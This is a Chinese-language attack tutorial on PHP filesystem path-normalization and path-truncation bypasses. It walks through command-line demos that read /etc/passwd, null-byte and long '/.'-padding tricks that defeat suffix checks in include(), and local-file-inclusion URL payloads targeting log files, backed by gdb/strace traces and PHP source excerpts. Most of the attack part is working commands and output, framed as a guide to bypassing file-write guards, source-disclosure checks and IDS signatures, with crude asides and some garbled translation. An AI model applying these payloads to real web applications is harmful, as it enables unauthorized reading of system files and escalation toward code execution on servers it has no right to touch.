php文件系统攻击向导
一.php文件系统路径正常化攻击
在路径中使用/和/.会使/etc/passwd/或者/etc/passwd/.作为一个文件被打开.
二.php文件系统过程路径截断攻击
PHP有一个路径截断的问题(一个非常邪恶的手段snprintf())只允许使用MAX_PATH被作为打开文件或者目录的鉴定.
三.php文件系统过程路径正常化攻击例子
$ php -r ‘include(”/etc/passwd”);’ | head -n1
root:x:0:0:root:/root:/bin/bash
一会我们应该知道某个路径正常化为标准
$ cat /etc//passwd | head -n1
root:x:0:0:root:/root:/bin/bash
$ cat /etc/./passwd | head -n1
root:x:0:0:root:/root:/bin/bash
对于下面的事应该很好预料了
php -r ‘include(”/etc/passwd/”);’
你会发现这个文件会正常的被包含进来了(它工作再每一个使用_php_stream_fopen()的单一文件系统过程上)
一些装逼的话说自己如何发现的操!不说正常的事呢光J8说闲玩
php -r ‘include(”/etc/passwd/.”);’ //成功执行
cat /etc/passwd/.
cat: /etc/passwd/.: Not a directory
$ cat /etc/passwd/
cat: /etc/passwd/: Not a directory
都执行失败了
php -r ‘include(”/etc/passwd//////”);’
php -r ‘include(”/etc/passwd/./././././.”);’
ereg*()函数能被空字节漏洞所利用.preg_*和字符函数例如substr是安全的
php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/passwd’ |head -n1
不能工作
$ php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc//passwd’ | head -n1
root:x:0:0:root:/root:/bin/bash
工作了
$php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc///passwd’ | head -n1
又工作了
$php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/./passwd’ | head -n1
root:x:0:0:root:/root:/bin/bash
不会把又行了?
-nologin-3.00# php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/././././././passwd’ | head -n1
root:x:0:0:root:/root:/bin/bash
能不能不行啊
-nologin-3.00# php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/././././././passwd/.’ | head -n1
root:x:0:0:root:/root:/bin/bash
我日我要不行了
在php上路径正规化允许你执行上面的例子但是linux的系统命令cat却不能
-nologin-3.00# cat /etc/././././././passwd/.
cat: /etc/././././././passwd/.: Not a directory
解释这些需要更好的例子.
php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/passwd’ | head -n1
没工作
php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc//passwd’ | head -n1
同样不能工作因为他还是以passwd作为结尾
php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/./passwd’ | head -n1
同样不能工作因为他还是以passwd作为结尾
上面的检测结果说明我们是不能直接绕过的
php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/passwd/.’ | head -n1
但是这个例子就成功了,
现在这个路径正常化攻击的用处就显现出来了,特别对于php来说,下面就开始讲有形的例子了,
(一个在线文件编辑脚本)
php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.txt’
肯定不能工作的.
php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.php/’
ciccio.php/
哇靠成功了,
php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.php/.’
也成功了
他们可以被应用到
1.写过程绕过(文件编辑器,文件书写器等等)
2.读函数的绕过(源代码泄露)
3.IDS/IPS的签名绕过
同时还有另外一个文件上传的漏洞特性例如上传.php.xyz文件,感谢apache的mod_mime 映射特性哈哈)
http://milw0rm.com/exploits/8060
看这里
四:php文件系统路径普通化攻击描述
分析源代码发现漏洞
$ gdb /usr/bin/php
(gdb) break open
Function “open” not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (open) pending.
(gdb) r -r ‘@include(”/etc/passwd/.”);’
Starting program: /usr/bin/php -r ‘@include(”/etc/passwd/.”);’
[..]
[Switching to Thread 0xb7f2e6c0 (LWP 7264)]
Breakpoint 1, 0×41606820 in open () from /lib/libpthread.so.0
(gdb) bt
#0 0×41606820 in open () from /lib/libpthread.so.0
#1 0×082142c7 in _php_stream_fopen ()
#2 0xbff4c8cc in ?? ()
#3 0×09d20050 in ?? ()
#4 0×0000003b in ?? ()
#5 0×085e2504 in php_stream_stdio_ops ()
#6 0×00000000 in ?? ()
_php_stream_fopen(),被定义在main/plain_wrapper.c,它是一个非常好的函数去开始分析代码,里面包含了下面有趣的东西
streams/plain_wrapper.c-893: if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
expand_filepath()函数被定义在main/fopen_wrappers.c,最终执行expand_filepath_ex同样被定义在main/fopen_wrappers.c中
这个函数包含了snprintf,snprintf引发了路径被截断.
main/fopen_wrappers.c-656: if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
main/fopen_wrappers.c-657: free(new_state.cwd);
main/fopen_wrappers.c-658: return NULL;
main/fopen_wrappers.c-659: }
哈哈virtual_file_ex() 是一个有缺陷的函数,这个函数被定义在SRM/tsrm_virtual_cwd.c的482行
让我们看一下错误是什么
TSRM/tsrm_virtual_cwd.c-619: tok=NULL;
TSRM/tsrm_virtual_cwd.c-620: ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);
TSRM/tsrm_virtual_cwd.c-621: while (ptr) {
TSRM/tsrm_virtual_cwd.c-622: ptr_length = strlen(ptr);
[..]
TSRM/tsrm_virtual_cwd.c-624: if (IS_DIRECTORY_UP(ptr, ptr_length)) {
[..]
TSRM/tsrm_virtual_cwd.c-651: } else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
[..]
TSRM/tsrm_virtual_cwd.c-717: }
TSRM/tsrm_virtual_cwd.c-718: ptr = tsrm_strtok_r(NULL, TOKENIZER_STRING, &tok);
TSRM/tsrm_virtual_cwd.c-719: }
TOKENIZER_STRING, IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT被定义在其他的源代码中
grep “#define TOKENIZER” */* -n
TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING “/\\”
TSRM/tsrm_virtual_cwd.c-103:#define TOKENIZER_STRING “/\\”
TSRM/tsrm_virtual_cwd.c-106:#define TOKENIZER_STRING “/”
windows的是在82行定义的,103行是netware的,106是为其他所有系统的
IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT 被定义在下面
$ grep -P “#define (IS_DIRECTORY_UP *\(|IS_DIRECTORY_CURRENT *\()” */*
-n -C2 | head -6
TSRM/tsrm_virtual_cwd.c-91:#define IS_DIRECTORY_UP(element, len) \
TSRM/tsrm_virtual_cwd.c-92: (len >= 2 && !php_check_dots(element, len))
[..]
TSRM/tsrm_virtual_cwd.c-94:#define IS_DIRECTORY_CURRENT(element, len) \
TSRM/tsrm_virtual_cwd.c-95: (len == 1 && element[0] == ‘.’)
然后这个代码是非常容易去理解的,这里有正常化攻击的错误的原因
if/else-if 结构没有思考一个两个实例的失败同时tsrm_strtok_r() 将会用每一个”/”切割路径
不J8写漏洞分析了太麻烦了,看实例吧.
五.PHP文件系统功能路径截断攻击
这个有什么用呢仔细思考下面这个简单的代码
<?php
// I’m a classic LFI (Local File Inclusion) vulnerabiltiy!
include(”includes/”.$_GET['library'].”.php”);
?>
这里只能是一个本地文件包含漏洞,RFI是不能被执行的(RFI漏洞的成功需要php.ini中的”allow_url_fopen” and “allow_url_include” on “On)
一般的这个可以被利用.例如包含攻击者配置的.php文件(它需要有上传和控制目标文件的能力,包括它的文件名)
例如
?library=../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack
这个不是一般的环境,特别的是利用LFI2RCE攻击例如下面这篇文章
http://milw0rm.com/papers/260
?library=../../../var/log/something.log%00
include(”includes/”.urldecode(”../../../var/log/something.log%00″).”.php”);
等同于include(”includes/../../../var/log/something.log”);
这个普通的问题在magic_quotes过滤掉了nullbytes使用addslashes()含蓄中了了所有的GPC和SERVER输入里面.
$ php -r ‘echo addslashes(chr(0));’
\0
$php -r ‘echo (”includes/”.addslashes(urldecode(”../../../var/log/something.log%00″)).”.php”);’ includes/../../../var/log/something.log\0.php
# grep “snprintf(trypath, MAXPATHLEN, \”%s/%s\”, ptr, filename);” * -R
main/streams/plain_wrapper.c: snprintf(trypath, MAXPATHLEN, “%s/%s”, ptr, filename);
main/fopen_wrappers.c: snprintf(trypath, MAXPATHLEN, “%s/%s”, ptr, filename);
/main/php.h:
#ifndef MAXPATHLEN
# ifdef PATH_MAX
# define MAXPATHLEN PATH_MAX
# elif defined(MAX_PATH)
# define MAXPATHLEN MAX_PATH
# else
# define MAXPATHLEN 256
# endif
#endif
/win32/param.h
#ifndef MAXPATHLEN
# define MAXPATHLEN _MAX_PATH
#endif
在大多数系统上它是4k
strace -e open php -r ‘include(”includes/”.addslashes(urldecode(”../../../tmp/something”.str_repeat(”foo_”, 1200))).”/append.php”);’ open(”/usr/tmp/somethingfoo_foo_foo_foo_foo_foo_[OMIT]foo_foo_f”, O_RDONLY) = -1 ENAMETOOLONG (File name too long)
将会产生ENAMETOOLONG的错误但是这个glibc限制能用目录来掩盖.
strace -e open -s 100000 php -r ‘include(”includes/”.addslashes(urldecode(”../../../tmp/something”.str_repeat(”foo/”, 1200))).”/append.php”);’ open(”/usr/tmp/somethingfoo/foo/foo/foo/foo/foo/[OMIT]foo/foo/f”, O_RDONLY) = -1 ENOENT (No such file or directory)
这里有个路径常态化向导帮忙同时能结合路径截断问题去完成一个伟大的目标
(在magic_quotes_gpc开启的系统上的nullbyte)
$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/ap”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/app”, O_RDONLY) = -1 ENOTDIR (Not a directory)
$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”/append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/a”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/ap”, O_RDONLY) = -1 ENOTDIR (Not a directory)
$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”//append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/a”, O_RDONLY) = -1 ENOTDIR (Not a directory)
$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”///append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/”, O_RDONLY) = -1 ENOTDIR (Not a directory)
$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”////append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/”, O_RDONLY) = -1 ENOTDIR (Not a directory)
我们下面用/.代替
strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/.ap”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/.app”, O_RDONLY) = -1 ENOTDIR (Not a directory)
strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”/append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/a”, O_RDONLY) = -1 ENOTDIR (Not a directory) open(”/tmp/teest/ap”, O_RDONLY) = -1 ENOTDIR (Not a directory)
strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”/.append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest”, O_RDONLY) = 3
hoho成功了,
六:PHP文件系统功能路径截断攻击描述
下面看一下路径包含
大多数的操作系统都有不同的设置
(on Gentoo)
include_path = “.:/usr/share/php5:/usr/share/php”
strace php -r ‘include(”a/../../../../etc/passwd”.str_repeat(”/.”, 2027).”/.append.inc”);’ 1>/dev/null
我们现在去证明,这个攻击只可能感谢include_path的特性和专门的手段能触发它
strace php -r ‘include(”etc/passwd/.”);’ 1>/dev/null
相对查询cwd,例如打开/home/antani/etc/passwd
strace php -r ‘include(”etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null
不是绝对路径查询,
strace php -r ‘include(”../../../etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null
完全失败
strace php -r ‘include(”a/../../../etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null
不存在绝对路径a在include_path路径中
(unexisting relative directory “a” in include_path paths, but ends
opening /usr/etc/passwd cause it doesn’t traverse enought)
getcwd(”/home/antani”…, 4096) = 13
time(NULL) = 1232728270
lstat64(”/usr”, {st_mode=S_IFDIR|0755, st_size=560, …}) = 0
lstat64(”/usr/share”, {st_mode=S_IFDIR|0755, st_size=9984, …}) = 0
lstat64(”/usr/share/php5″, {st_mode=S_IFDIR|0755, st_size=88, …}) = 0
lstat64(”/usr/share/php5/a”, 0×5a9460cc) = -1 ENOENT (No such file or
directory)
open(”/usr/share/etc/passwd/”, O_RDONLY) = -1 ENOENT (No such file or
directory)